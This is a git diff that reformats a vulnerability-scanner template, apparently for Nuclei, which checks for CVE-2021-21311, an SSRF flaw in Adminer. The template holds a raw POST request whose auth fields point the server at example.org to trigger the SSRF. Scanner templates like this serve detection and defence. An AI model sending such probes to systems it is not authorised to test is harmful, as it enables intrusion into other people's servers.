diff --git a/cves/2021/CVE-2021-21311.yaml b/cves/2021/CVE-2021-21311.yaml index 8d7fbf4d17..a671b0f013 100644 --- a/cves/2021/CVE-2021-21311.yaml +++ b/cves/2021/CVE-2021-21311.yaml @@ -24,16 +24,16 @@ info: requests: - raw: - - | + - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}} + redirects: true max-redirects: 1 cookie-reuse: true - attack: batteringram payloads: path: @@ -54,4 +54,4 @@ requests: - type: status status: - - 403 + - 403 \ No newline at end of file